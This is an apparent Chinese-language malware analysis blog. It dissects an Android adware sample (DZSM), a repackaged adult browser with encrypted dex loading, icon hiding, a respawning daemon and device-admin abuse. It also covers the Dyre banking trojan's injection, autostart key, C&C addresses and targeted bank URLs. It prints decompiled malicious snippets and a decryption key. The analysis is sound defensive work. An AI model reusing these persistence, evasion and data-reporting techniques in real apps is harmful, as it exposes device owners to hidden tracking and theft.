DZSM apk 样本分析

概况

  • MD5: 14792786094250715197540fd3b58439
  • SHA256: 456caeaaa8346c7a9e2198af5a0ca49d87e616a2603884580df22728a49893d7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1208868505 (0x480dde99)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=CN, ST=sc, L=sc, O=maizi, OU=maizi, CN=pktool
Validity
Not Before: Sep 9 09:11:13 2015 GMT
Not After : Jan 25 09:11:13 2043 GMT
Subject: C=CN, ST=sc, L=sc, O=maizi, OU=maizi, CN=pktool
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:93:57:2d:52:af:c1:71:cf:7a:cb:2f:6a:6c:0a:
b2:3f:4b:60:a6:a7:d0:9d:ba:36:a1:0f:0d:cc:9e:
32:ea:23:df:80:a3:b3:9f:2b:93:b9:53:c4:e5:bf:
05:32:21:23:c1:13:78:b0:72:08:19:8e:5e:c0:a0:
13:11:19:d6:23:8a:b6:44:2b:73:e0:1d:f3:b3:f4:
ab:6c:2e:af:78:2f:8b:e2:dc:b0:d6:06:af:8e:3f:
29:54:1a:59:44:55:73:98:2f:fd:8b:18:b0:de:c6:
9c:ee:0c:c7:f7:04:9d:0c:a7:62:06:45:4f:08:20:
2e:ca:a9:20:88:0e:08:2b:f1:9c:a9:24:5d:35:85:
02:bb:c0:ff:37:98:4b:c7:6f:f2:75:81:43:78:f8:
4b:cc:63:8c:f5:0e:c9:95:05:3d:ee:a1:85:cd:94:
97:b8:48:93:02:b3:71:6e:fb:39:6f:63:5d:a7:24:
c1:dc:77:a9:9c:de:5d:76:63:a8:ad:1d:e9:d6:84:
9b:ee:8d:37:38:4b:7c:ff:94:c9:df:dd:17:80:8c:
e8:d1:94:5d:05:dc:ef:d8:dc:90:4c:8b:75:22:6d:
57:6e:ee:4c:5f:62:96:5c:72:64:a4:5b:0f:29:e0:
f3:31:11:99:6a:b4:e5:6c:16:4d:8a:44:46:06:8f:
06:05
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
A6:8F:86:BB:A7:0A:DB:29:2E:E9:26:A6:F1:8C:BF:2F:4B:58:99:39
Signature Algorithm: sha256WithRSAEncryption
82:62:98:a8:39:10:3b:f5:09:42:97:de:e9:4c:57:6c:4e:58:
a3:1a:31:29:a4:79:98:3f:c9:68:3c:e5:90:be:7f:b0:98:2b:
8f:95:9e:4e:d2:bc:82:6e:bf:32:56:35:87:c8:19:08:ae:af:
9c:db:94:71:d4:db:73:d9:25:e2:e5:f1:92:a0:a4:c4:bd:27:
21:b2:c8:ec:e2:2a:c3:bb:a2:85:97:78:2b:4a:94:cc:fc:dc:
75:6a:11:c8:ba:da:30:be:11:e9:e7:4a:5e:e1:ae:af:4d:36:
14:69:31:ab:68:16:69:ed:a8:bb:c7:be:bf:8b:ca:4c:01:d0:
7e:65:45:31:72:0f:7b:8d:7e:76:40:86:45:8d:ee:a3:b2:ee:
ac:d3:0e:60:29:b0:fd:dc:8c:6a:25:06:01:99:81:96:f5:4c:
1d:1a:1d:dc:0e:4b:66:15:80:e8:f5:1c:cd:98:60:71:08:de:
f9:4f:69:b0:22:ec:05:18:6b:cd:5a:05:ce:3a:fe:57:4b:e7:
8b:64:b4:f7:4a:cd:63:c1:03:01:e2:b0:aa:81:2d:89:e1:4d:
da:fb:8f:b9:37:02:ad:85:64:de:87:73:1a:7a:36:50:3f:e6:
9a:73:65:a0:33:af:81:c6:c8:55:89:e6:a8:03:6a:c6:da:f0:
a5:cc:1c:6e

样本通过apktool重打包激情浏览器,引诱下载达到感染的目的。样本安装后启动两个服务常驻手机, 通过广告来获得经济收益,安装应用后访问以下链接:

http://dw.cnscns.com/upload/adIcon/2015-10-07/55c01eff-e66a-4186-9658-977d025c5395.png
http://dw.cnscns.com/upload/adOnline/2015-10-07/db90fe85-dd23-4674-9bbc-767c978acb8c.jpg
http://dw.cnscns.com/upload/adIcon/2015-09-06/eccb1bfd-7c3a-44a3-bfc8-e559eb995b49.png
http://dw.cnscns.com/upload/adOnline/2015-09-06/2cd2516c-6f55-4d99-8913-e121fd34abbd.jpg
http://dw.cnscns.com/upload/adIcon/2015-06-18/a7a41435-51e6-4a02-8bb5-1d96edf1a403.png
http://dw.cnscns.com/upload/adOnline/2015-09-19/2e3fe3ec-8043-4a03-ac6d-6b815dc2c144.jpg

http://dw.cnscns.com 是一个移动广告平台。

分析

关键的地方是两个service和一个Receiver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<service android:name="net.tend.dot.DZS" />
<service android:exported="true" android:name="net.tend.dot.DZK" android:process=":daemon" />
<activity android:configChanges="keyboard|keyboardHidden|orientation|screenSize" android:excludeFromRecents="true" android:launchMode="singleInstance" android:name="net.tend.dot.DZA" android:theme="@android:style/Theme.Translucent.NoTitleBar" />
<receiver android:name="net.tend.dot.DZR">
<intent-filter>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="com.dz.downloadmanager" />
<action android:name="action.dz.start" />
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.PACKAGE_ADDED" />
<action android:name="android.intent.action.PACKAGE_REMOVED" />
<data android:scheme="package" />
</intent-filter>
</receiver>

但是这两个Service和Receiver的代码并不在App代码中,而是在动态加载的dex中,其中的对于关系如下:

net.tend.dot.DZS -> mkit.dz.vol.MFSS
net.tend.dot.DZK -> mkit.dz.vol.MFKS
net.tend.dot.DZR -> mkit.dz.vol.MFBR
net.tent.dot.DZA -> mkit.dz.vol.MFAC

而动态加载的dex 由 assets/dzsm 解密而来。样本的文件转换图如下:

convert

assets/dzsm 使用DES加密,文件的前32个字节为key,后面的为加密的内容,可以使用下面的java代码进行 解密。解密出来的文件为dex文件,可以用jeb正常分析。

encrypt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.CipherOutputStream;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;

public class decrypt {

public static void main(String[] args) {
try {
String key = "8q6e81ssaiem1msqii9ixasmumsxxxqq";

FileInputStream fis2 = new FileInputStream("/tmp/dzsm");
FileOutputStream fos2 = new FileOutputStream("decrypted");
decrypt(key, fis2, fos2);
} catch (Throwable e) {
e.printStackTrace();
}
}

public static void encrypt(String key, InputStream is, OutputStream os) throws Throwable {
encryptOrDecrypt(key, Cipher.ENCRYPT_MODE, is, os);
}

public static void decrypt(String key, InputStream is, OutputStream os) throws Throwable {
encryptOrDecrypt(key, Cipher.DECRYPT_MODE, is, os);
}

public static void encryptOrDecrypt(String key, int mode, InputStream is, OutputStream os) throws Throwable {

DESKeySpec dks = new DESKeySpec(key.getBytes());
SecretKeyFactory skf = SecretKeyFactory.getInstance("DES");
SecretKey desKey = skf.generateSecret(dks);
Cipher cipher = Cipher.getInstance("DES");

if (mode == Cipher.ENCRYPT_MODE) {
cipher.init(Cipher.ENCRYPT_MODE, desKey);
CipherInputStream cis = new CipherInputStream(is, cipher);
doCopy(cis, os);
} else if (mode == Cipher.DECRYPT_MODE) {
cipher.init(Cipher.DECRYPT_MODE, desKey);
CipherOutputStream cos = new CipherOutputStream(os, cipher);
doCopy(is, cos);
}
}

public static void doCopy(InputStream is, OutputStream os) throws IOException {
byte[] bytes = new byte[64];
int numBytes;
while ((numBytes = is.read(bytes)) != -1) {
os.write(bytes, 0, numBytes);
}
os.flush();
os.close();
is.close();
}

}

MainActivity是 com.dz.browser.WelActivity

1
2
3
4
5
6
7
8
<activity android:icon="@drawable/icon1"
android:label="@string/main_name"
android:name="com.dz.browser.WelActivity" android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

WelActivity 里干几件事:

  1. 隐藏图标
1
2
3
4
5
6
private void setComponentEnabled(Context context, Class arg6, boolean enabled) {
ComponentName v0 = new ComponentName(context, arg6.getName());
PackageManager v3 = context.getPackageManager();
int v1 = enabled ? 1 : 2;
v3.setComponentEnabledSetting(v0, v1, 1);
}
  1. 动态加载dex
1
2
3
4
5
6
7
8
9
10
private void GoMain() {
new Handler().postDelayed(new Runnable() {
public void run() {
WelActivity.this.setComponentEnabled(WelActivity.this, WelActivity.class, false);
}
}, 5000);
Intent v0 = new Intent();
v0.setClass(((Context)this), GuideActivity.class);
this.startActivity(v0);
}

GuideActivity 的 onCreate 调用 DZM.getInstance(((Context)this)).init(); 加载 dex。 GuideActivity 同时向广告服务器发送本机信息

1
2
3
4
5
6
7
8
9
10
11
new Thread(new Runnable() {
public void run() {
try {
Log.i("ads", "==" + HttpUtils.post(String.valueOf(Constant.reportUrl) + Utils.getQID(
GuideActivity.this), GuideActivity.this.Params.reqparams()));
}
catch(PackageManager$NameNotFoundException v1) {
v1.printStackTrace();
}
}
}).start();

http://mob.s2s.nooobi.com/api-mobvista/sdkback%3Fappkey%3DSexTubeMobvista1

1
2
3
4
5
6
7
8
POST /api-mobvista/sdkback?appkey=SexTubeMobvista1 HTTP/1.1
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
Host: mob.s2s.nooobi.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

country=CN&ip=220.231.27.156&model=sdk&imei=000000000000000

同时加载dex还有另外一个入口,通过 Receiver

1
2
3
4
5
6
7
8
9
10
11
12
13
<receiver android:name="net.tend.dot.DZR">
<intent-filter>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="com.dz.downloadmanager" />
<action android:name="action.dz.start" />
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.PACKAGE_ADDED" />
<action android:name="android.intent.action.PACKAGE_REMOVED" />
<data android:scheme="package" />
</intent-filter>
</receiver>

当网络变化,用户锁屏等操作时将自动加载dex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class DZR extends BroadcastReceiver {
public DZR() {
super();
}

private void a(Context context, Intent intent) {
try {
a.a(context, i.class).onReceive(context, intent);
}
catch(Exception v0) {
Log.e("ads", "", ((Throwable)v0));
}
}

public void onReceive(Context context, Intent intent) {
Context context = context.getApplicationContext();
String action = intent.getAction();
System.out.println("SV=" + dzm_version.DZM_1_2_5);
if(action.equals("android.intent.action.USER_PRESENT")) {
DZM.getInstance(context);
}

l.start_thread(context);
if(l.str_dzmb_kiup_act().equals(action)) {
l.loadDex(context, intent);
}
else {
this.a(context, intent);
}
}
}
1
2
3
4
5
6
<receiver android:name="com.dz.browser.MyReceiver">
<meta-data android:name="android.app.device_admin" android:resource="@xml/lockourscreen" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>

lockourscreen.xml 里申请了锁屏权限

1
2
3
4
5
<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
<uses-policies>
<force-lock />
</uses-policies>
</device-admin>

但是Receiver里什么也没有干,这只是为了阻止普通用户卸载app。

lock screen

样本会访问下面URL 获得ip地址信息 http://ip.taobao.com/service/getIpInfo2.php?ip=myip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
code: 0,
data: {
country: "中国",
country_id: "CN",
area: "华北",
area_id: "100000",
region: "北京市",
region_id: "110000",
city: "北京市",
city_id: "110100",
county: "",
county_id: "-1",
isp: "华瑞信通",
isp_id: "1000146",
ip: "220.231.27.156"
}
}

从分析看样本主要是获取广告,下载apk,安装apk 这几个功能,还可以使用浏览器打开指定URL

daemon 分析

两个服务中,daemon 是 arm elf 可执行文件,app安装后自动执行。daemon程序由 dz.jar 的 assets/oilive 释放出来。 在手机上得到下面的命令行

1
/data/data/org.dz.passion.browser/app_bin/daemon -p org.dz.passion.browser -s net.tend.dot.DZK -t 120

daemon 使用说明

1
usage: %s -p package-name -s daemon-service-name -t interval-time

daemon 进程的父进程是init,结束应用进程不会结束daemon进程,将应用进程结束后过120秒,daemon将会重新自动启动 服务程序。

1
2
3
u0_a45    999   36    193564 32452 ffffffff 40033a40 S org.dz.passion.browser:daemon
u0_a45 1016 36 192640 35772 ffffffff 40033a40 S org.dz.passion.browser
u0_a45 1028 1 728 296 c0099f1c 40032c88 S /data/data/org.dz.passion.browser/app_bin/daemon

这个搞法似类以前的双进程监控,不容易干掉,上面说过启动App就启动两个服务 DZS 和 DZK,而DZK的代码其实在MFKS中, 从下面的代码可以看到,MFKS在Service 的 OnCreate 是就把daemon 运行起来了,daemon 又会检查app的服务的状态,有会自动 启动服务,比较流氓啊!这么做目的还是为了常驻手机,长期运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class MFKS {
private Service service;

public MFKS() {
super();
}

public IBinder onBind(Intent arg2) {
return null;
}

public void onCreate() {
run_daemon.install(this.service.getApplicationContext(), config.get_kvp_classObject(this.service // net.tend.dot.DZK
.getApplicationContext()), 120);
this.service.startService(new Intent(this.service.getApplicationContext(), config.get_svp_classObject( // net.tend.dot.DZS
this.service.getApplicationContext())));
}

public void onStart(Intent arg1, int arg2) {
}

public void setService(Service arg1) {
this.service = arg1;
}
}

附录

访问的URL

http://ip.taobao.com/service/getIpInfo2.php%3Fip%3Dmyip
http://api.nooobi.com/api-unlock/getlockappconfig
http://api.nooobi.com/api-unlock/insertimei
http://mob.s2s.nooobi.com/api-mobvista/sdkback%3Fappkey%3DSexTubeMobvista1
http://api.nooobi.com/api-unlock/getapptype
http://api.nooobi.com/api-unlock/kitup
http://alog.umeng.com/app_logs
http://api.nooobi.com/api-unlock/getadlist
http://dw.cnscns.com/upload/adIcon/2015-10-07/55c01eff-e66a-4186-9658-977d025c5395.png
http://dw.cnscns.com/upload/adOnline/2015-10-07/db90fe85-dd23-4674-9bbc-767c978acb8c.jpg
http://dw.cnscns.com/upload/adIcon/2015-09-06/eccb1bfd-7c3a-44a3-bfc8-e559eb995b49.png
http://dw.cnscns.com/upload/adOnline/2015-09-06/2cd2516c-6f55-4d99-8913-e121fd34abbd.jpg
http://dw.cnscns.com/upload/adIcon/2015-06-18/a7a41435-51e6-4a02-8bb5-1d96edf1a403.png
http://dw.cnscns.com/upload/adOnline/2015-09-19/2e3fe3ec-8043-4a03-ac6d-6b815dc2c144.jpg
http://api.nooobi.com/api-unlock/unlockaction

总结

DZSM 这个样本使用了动态加载dex的技术,使得其检测更加困难。代码结构良好,异常处理充分, 是一个专业程序员的作品。使用了简单的加密技术,也是为了逃避检查。

Dyre 简单分析

0. 概述

1
2
3
sha256   : 523b9e8057ef0905e2c7d51b742d4be9374cf2eee5a810f05d987604847c549d
md5 : c2d73485095efdbd7ab625e469affb11
filename : Invoice_00739287.scr

脱壳后的程序中可以看到 C:\CPP_PROJECTS_GIT\DYRE\x64\Release\dyrecontroller.pdb 因此大多数杀软将样本命名为dyre。Dyre的主要目标为在线银行。样本看上去是一个PDF文件,其实则是使用scr后缀的可执行文件,引诱受害者点击文件。

Dyre的一些其他样本 MD5:

  • 999bc5e16312db6abff5f6c9e54c546f
  • b44634d90a9ff2ed8a9d0304c11bf612
  • dd207384b31d118745ebc83203a4b04a

1. 感染与传播

从网上的公开资料来看,样本主要传播途径为钓鱼邮件。

fishing

2. 工作流程

  • 复制自身 (C:\Documents and Settings\user\Application Data\googleupdaterr.exe)
  • 执行复本文件
  • 删除自身
  • 注入Explorer 进程
  • googleupdaterr.exe 进程退出

由于注入Explorer后,进程退出,在任务管理器中看不到任何可疑进程,代码在Explorer中 执行。Dyre 通过写注册表启动项实现自启动,系统启动后将自动执行恶意文件。

1
2
key   : HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\GoogleUpdate
value : C:\Documents and Settings\sys\Application Data\googleupdaterr.exe

3. 网络协议

由于时间较长了,url链接基本都访问不了了,所以这部分内容就不重点说了。
http://192.99.6.61/cho1017/W512600.19532DF60D132DC4E0153BE41218BD1A/5/publickey/
217.12.207.151:8900 和 192.99.6.61:80 都已失效。

可以参考下面这篇文章的图片

Project Dyre: New RAT Slurps Bank Credentials, Bypasses SSL

VirusTotal 的Passive DNS 可以也可以看到一些内容

virusTotal

从链接提供的内容来看,Dyre使用HTTP协议来进行C&C通讯,C&C服务器的IP在代码中硬编码。

4. 高级技术

4.1 脱壳

这个样本使用了反混淆技术,不仔细看的话就像一个正常的MFC程序,其实运行到一定阶段, 进程空间里所有的代码都被替换。脱壳过程中未发现反调试的现象,OEP应该是4021F0,在OD里设置硬件执行断点,F9就可以dump了,修复IAT后可以正常运行。

4.2 进程注入

我们的目标代码应该是注入到 Explorer 中的代码。其实脱壳后的样本的资源文件里包含了注入到Explorer的代码,分别是PAYLOAD32和PAYLOAD64.

resources

Dyre的进程注入和一般的样本有一定的区别,使用了ZwQueueApcThread来启动,而并没有使ZwSetContextThread。在跨进程写则使用了ZwMapViewOfSection而没有使用大家熟悉的ZwWriteVirtualMemory,隐蔽性较强。

injection

新版的Ollydbg 2.01, 支持调试子进程,在子进程中可以看到以下代码

OD2
OD2.1

可以确认注入的确实是资源文件里的payload

附录A

strings

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
cashproonline.bankofamerica.com/AuthenticationFrameworkWeb/cpo/login/public/loginMain.faces
businessaccess.citibank.citigroup.com/cbusol/signon.do
www.bankline.natwest.com/CWSLogon/logon.do?CTAuthMode=RBSG_CORP4P&domain=.bankline.natwest.com&ct-web-server-id=Internet&CT_ORIG_URL=%2Fbankline%2Fnatwest%2Fdefault.jsp&ct_orig_uri=https%3A%2F%2Fwww.bankline.natwest.com%3A443%2Fbankline%2Fnatwest%2Fdefault.jsp
www.bankline.rbs.com/CWSLogon/logon.do?CTAuthMode=RBSG_CORP4P&domain=.bankline.rbs.com&ct-web-server-id=Internet&CT_ORIG_URL=%2Fbankline%2Frbs%2Fdefault.jsp&ct_orig_uri=https%3A%2F%2Fwww.bankline.rbs.com%3A443%2Fbankline%2Frbs%2Fdefault.jsp
www.bankline.ulsterbank.ie/CWSLogon/logon.do?CTAuthMode=RBSG_CORP4P&domain=.bankline.ulsterbank.ie&ct-web-server-id=Internet&CT_ORIG_URL=%2Fbankline%2Fubr%2Fdefault.jsp&ct_orig_uri=https%3A%2F%2Fwww.bankline.ulsterbank.ie%3A443%2Fbankline%2Fubr%2Fdefault.jsp
TRUE
AUTOBACKCONN
%02x
cashproonline.bankofamerica.com/materials
user_id=
company_id=
businessaccess.citibank.citigroup.com/materials
business_code=
business_name=
0x%x
85.25.148.6
c1shproonline.bankofamerica.com
cashproonline.bankofamerica.com/AuthenticationFrameworkWeb/
cashproonline.bankofamerica.com/assets/
b1sinessaccess.citibank.citigroup.com
businessaccess.citibank.citigroup.com/assets/
businessaccess.citibank.citigroup.com/CitiBusinessOnlineFiles/
www.b1nkline.natwest.com
www.bankline.natwest.com/
www.b1nkline.rbs.com
www.bankline.rbs.com/
www.b1nkline.ulsterbank.ie
www.bankline.ulsterbank.ie/

参考资料

https://www.virustotal.com/en/file/dc276b0113694ecc62913311e2580857754aa890173dfaa9d95afad6396bb741/analysis/
https://www.fireeye.com/blog/threat-research/2015/07/dyre_banking_trojan.html
https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf
https://portal.sec.ibm.com/mss/html/en_US/support_resources/pdf/Dyre_Wolf_MSS_Threat_Report.pdf
http://www.seculert.com/blog/2015/04/new-dyre-version-evades-sandboxes.html
https://blogs.cisco.com/security/talos/threat-spotlight-dyre